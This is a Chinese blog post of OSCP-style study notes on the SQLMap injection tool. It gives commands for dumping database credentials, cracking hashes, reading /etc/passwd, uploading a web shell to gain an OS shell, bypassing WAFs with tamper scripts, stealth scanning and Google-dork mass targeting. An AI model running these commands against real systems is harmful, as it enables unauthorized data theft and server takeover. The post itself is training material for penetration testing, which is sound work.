5-6〔OSCP ◈ 研记〕❘ SQL注入攻击▸自动化工具SQLMap
郑重声明: 本文所有安全知识与技术,仅用于探讨、研究及学习,严禁用于违反国家法律法规的非法活动。对于因不当使用相关内容造成的任何损失或法律责任,本人不承担任何责任。 如需转载,请注明出处且不得用于商业盈利。
💥👉点赞❤️ 关注🔔 收藏⭐️ 评论💬💥
更多文章戳👉Whoami!-CSDN博客🚀
𖤐 让我们开启SQL注入的新世界吧,走起 !
𖤐 𝓛𝓮𝓽'𝓼 𝓸𝓹𝓮𝓷 𝓾𝓹 𝓪 𝓷𝓮𝔀 𝔀𝓸𝓻𝓵𝓭 𝓸𝓯 𝓢𝓠𝓛 𝓲𝓷𝓳𝓮𝓬𝓽𝓲𝓸𝓷,𝓱𝓮𝓻𝓮 𝔀𝓮 𝓰𝓸 !
→ 信息收集
→ 漏洞检测
→ 初始立足点
→ 权限提升 ▸SQL注入攻击▸自动化工具SQLMAP-----我们在这儿~ 🔥🔥🔥
→ 横向移动
→ 报告/分析
→ 教训/修复
目录
1.SQL注入攻击
1.1 自动化攻击工具SQLMap
1.1.1 基础漏洞检测
1.1.2 数据导出功能 (--dump)
1.1.3 交互式Shell获取 (--os-shell)
1.1.3.1 捕获请求
1.1.3.2 获取Shell
以下是扩展内容:
1.1.4 基础检测命令
1.1.4.1 基本URL检测
1.1.4.2 指定参数检测
1.1.4.3 从文件读取请求
1.1.5 数据库信息获取
1.1.5.1 获取数据库基本信息
1.1.5.2 枚举数据库结构
1.1.6 数据提取命令
1.1.6.1 提取特定数据
1.1.6.2 哈希提取和解密
1.1.7 文件&系统操作命令
1.1.7.1 文件系统操作
1.1.7.2 操作系统命令执行
1.1.7.3 注册表操作 (Windows)
1.1.8 性能优化命令
1.1.8.1 线程和延迟控制
1.1.8.2 风险级别和测试强度
1.1.9 高级技术命令
1.1.9.1 绕过WAF防护
1.1.9.2 自定义注入技术
1.1.9.3 代理和日志设置
1.2 实用组合命令
1.2.1 完整渗透测试流程
1.2.2 隐蔽扫描模式
1.2.3 批量目标扫描
1.2.4 常用参数速查表
1.3 重要注意事项和专业建议
💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬
1.SQL注入攻击
1.1 自动化攻击工具SQLMap
SQLMap是Kali Linux中预装的自动化SQL注入工具,能够自动识别和利用多种数据库引擎的SQL注入漏洞。正常情况下,SQLMap用法多,这里仅抛砖引玉。本文在上述的Web应用程序(http://192.168.50.19/blindsqli.php)上运行sqlmap作为示例。
1.1.1 基础漏洞检测
# 基本语法 $ sqlmap -u [目标URL] -p [参数名]# 实际示例 $ sqlmap -u http://192.168.50.19/blindsqli.php?user=1 -p user
🔍 检测结果包含:
-
漏洞类型确认(基于时间的SQL盲注)
-
Web服务器操作系统指纹
-
Web应用技术栈信息
-
后端数据库类型信息
⚠️ 隐蔽性警告: SQLMap会产生高流量特征,在需要隐蔽性的场景中不推荐使用
1.1.2 数据导出功能 (--dump
)
# 导出完整数据库 $ sqlmap -u http://192.168.50.19/blindsqli.php?user=1 -p user --dump
功能 | 说明 | 输出内容 |
---|---|---|
--dump | 在SQL 注入漏洞被确认后,自动从数据库中提取(dump)所有的数据。 | 用户凭证、哈希值、敏感信息等 |
📊 攻击特点:
-
基于时间的盲注场景下提取速度较慢
-
最终能成功获取所有用户哈希凭据
-
适用于完整数据窃取场景
1.1.3 交互式Shell获取 (--os-shell
)
SQLMap的另一个核心功能是--os-shell参数,它为我们提供一个完整的交互式shell。基于时间的盲注SQLi由于通常具有较高的延迟,因此在与shell交互时并不理想。我们将使用第一个基于UNION的SQLi示例(http://192.168.50.16/search.php)。
1.1.3.1 捕获请求
攻击流程
通过Burp拦截POST请求并将以下内容以post.txt文件保存在我们Kali上的本地文本文件。
1.1.3.2 获取Shell
# 获取交互式Shell命令 $ sqlmap -r post.txt -p item --os-shell --web-root "/var/www/html/tmp"
参数解析表
参数 | 作用 | 示例值 | 重要性 |
---|---|---|---|
-r | 读取请求文件 | post.txt | ⭐⭐⭐⭐⭐ |
-p | 指定测试参数 | item | ⭐⭐⭐⭐⭐ |
--os-shell | 获取系统Shell | - | ⭐⭐⭐⭐⭐ |
--web-root | 指定Web根目录 | /var/www/html/tmp | ⭐⭐⭐⭐ |
本例子中,/var/www/html/tmp 是Web 服务器的根目录路径,sqlmap 会尝试在该目录下执行操作,比如上传Web shell等。 工作原理
-
漏洞确认 → SQLMap检测并确认SQL注入漏洞
-
语言识别 → 自动识别应用编程语言(如PHP)
-
WebShell上传 → 将WebShell上传至指定Web目录
-
Shell建立 → 返回完整的交互式系统Shell
🎯 最佳实践
-
避免在基于时间的盲注中使用 → 延迟过高影响交互体验
-
推荐在UNION型注入点使用 → 响应快速,交互流畅
-
明确Web根目录 → 确保WebShell正确上传和执行
以下是扩展内容:
以下内容为扩展内容。这些命令覆盖了SQLMap的主要功能场景,根据实际测试需求灵活组合使用即可达到最佳效果。
1.1.4 基础检测命令
1.1.4.1 基本URL检测
sqlmap -u "http://example.com/page.php?id=1"
📝 说明: 对指定URL进行自动SQL注入检测,sqlmap会自动识别参数并测试。
1.1.4.2 指定参数检测
sqlmap -u "http://example.com/page.php?id=1&cat=2" -p "id,cat"
📝 说明: 只针对指定的参数进行注入测试,提高检测效率。
1.1.4.3 从文件读取请求
sqlmap -r request.txt
📝 说明: 从Burp Suite等工具保存的请求文件中读取并分析,特别适合POST请求。
1.1.5 数据库信息获取
1.1.5.1 获取数据库基本信息
sqlmap -u "http://example.com/page.php?id=1" --banner --current-user --current-db
参数 | 功能 | 输出示例 |
---|---|---|
--banner | 数据库版本信息 | MySQL 5.7.34 |
--current-user | 当前数据库用户 | root@localhost |
--current-db | 当前数据库名 | webapp_db |
1.1.5.2 枚举数据库结构
# 列出所有数据库
sqlmap -u "http://example.com/page.php?id=1" --dbs
# 列出指定数据库的所有表
sqlmap -u "http://example.com/page.php?id=1" -D webapp_db --tables
# 列出指定表的所有列
sqlmap -u "http://example.com/page.php?id=1" -D webapp_db -T users --columns
1.1.6 数据提取命令
1.1.6.1 提取特定数据
# 提取整个表
sqlmap -u "http://example.com/page.php?id=1" -D webapp_db -T users --dump
# 提取特定列
sqlmap -u "http://example.com/page.php?id=1" -D webapp_db -T users -C "username,password" --dump
# 提取指定行数
sqlmap -u "http://example.com/page.php?id=1" -D webapp_db -T users --dump --start 1 --stop 100
1.1.6.2 哈希提取和解密
# 提取用户密码哈希
sqlmap -u "http://example.com/page.php?id=1" --passwords
# 自动破解哈希
sqlmap -u "http://example.com/page.php?id=1" --passwords --crack
1.1.7 文件&系统操作命令
1.1.7.1 文件系统操作
# 读取服务器文件
sqlmap -u "http://example.com/page.php?id=1" --file-read "/etc/passwd"
# 写入文件到服务器
sqlmap -u "http://example.com/page.php?id=1" --file-write "shell.php" --file-dest "/var/www/html/shell.php"
1.1.7.2 操作系统命令执行
# 获取操作系统Shell
sqlmap -u "http://example.com/page.php?id=1" --os-shell
# 执行单条系统命令
sqlmap -u "http://example.com/page.php?id=1" --os-cmd "whoami"
1.1.7.3 注册表操作 (Windows)
# 读取注册表键值
sqlmap -u "http://example.com/page.php?id=1" --reg-read
# 写入注册表
sqlmap -u "http://example.com/page.php?id=1" --reg-add
1.1.8 性能优化命令
1.1.8.1 线程和延迟控制
# 多线程检测
sqlmap -u "http://example.com/page.php?id=1" --threads 10
# 设置请求延迟
sqlmap -u "http://example.com/page.php?id=1" --delay 2
# 设置超时时间
sqlmap -u "http://example.com/page.php?id=1" --timeout 30
1.1.8.2 风险级别和测试强度
# 风险级别 (1-3)
sqlmap -u "http://example.com/page.php?id=1" --risk 3
# 测试强度 (1-5)
sqlmap -u "http://example.com/page.php?id=1" --level 5
📊 级别说明表:
级别 | 测试强度 | 检测深度 | 时间消耗 |
---|---|---|---|
1 | 基础测试 | 浅 | 快 |
3 | 标准测试 | 中 | 中等 |
5 | 完整测试 | 深 | 慢 |
1.1.9 高级技术命令
1.1.9.1 绕过WAF防护
# 使用编码技术绕过WAF
sqlmap -u "http://example.com/page.php?id=1" --tamper "space2comment,charencode"
# 常用tamper脚本
sqlmap -u "http://example.com/page.php?id=1" --tamper "between,randomcase,space2comment"
1.1.9.2 自定义注入技术
# 指定注入技术
sqlmap -u "http://example.com/page.php?id=1" --technique "B"
# 技术代码说明: # B: Boolean-based blind (布尔型盲注) # E: Error-based (报错注入) # U: Union query-based (联合查询注入) # S: Stacked queries (堆叠查询) # T: Time-based blind (时间型盲注) # Q: Inline queries (内联查询)
1.1.9.3 代理和日志设置
# 使用代理
sqlmap -u "http://example.com/page.php?id=1" --proxy "http://127.0.0.1:8080"
# 详细日志输出
sqlmap -u "http://example.com/page.php?id=1" -v 3
# 保存结果到文件
sqlmap -u "http://example.com/page.php?id=1" --save "output.txt"
1.2 实用组合命令
1.2.1 完整渗透测试流程
# 完整数据库渗透
sqlmap -u "http://example.com/page.php?id=1" \--banner --current-user --current-db \--dbs --tables --columns \--dump-all \--os-shell
1.2.2 隐蔽扫描模式
# 低调扫描组合
sqlmap -u "http://example.com/page.php?id=1" \--delay 5 \--threads 3 \--level 2 \--risk 1 \--proxy "http://127.0.0.1:8080"
1.2.3 批量目标扫描
# 从文件读取多个目标
sqlmap -m targets.txt# 从Google搜索结果扫描
sqlmap -g "inurl:.php?id=1 site:example.com"
1.2.4 常用参数速查表
类别 | 常用命令 | 功能说明 |
---|---|---|
信息收集 | --banner --current-db | 基础信息获取 |
数据枚举 | --dbs --tables --columns | 数据库结构枚举 |
数据提取 | --dump --dump-all | 数据导出 |
系统访问 | --os-shell --file-read | 系统权限获取 |
性能优化 | --threads --delay | 扫描速度控制 |
隐蔽性 | --tamper --proxy | WAF绕过和隐蔽 |
1.3 重要注意事项和专业建议
-
法律合规: 仅在授权测试中使用
-
风险评估: 高risk/level可能影响服务可用性
-
隐蔽性: 生产环境慎用,易触发安全警报
-
备份: 重要操作前做好数据备份
-
监控: 实时监控扫描过程和结果
💡 专业建议
-
从低级别开始: 先用level 2, risk1测试
-
使用代理: 通过Burp Suite观察请求
-
保存会话: 使用
--save
保存进度 -
分阶段测试: 信息收集 → 漏洞确认 → 数据提取 → 权限提升
以上命令覆盖了SQLMap的主要功能场景,根据实际测试需求灵活组合使用即可达到最佳效果。
💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬
您的支持是我创作最大的动力!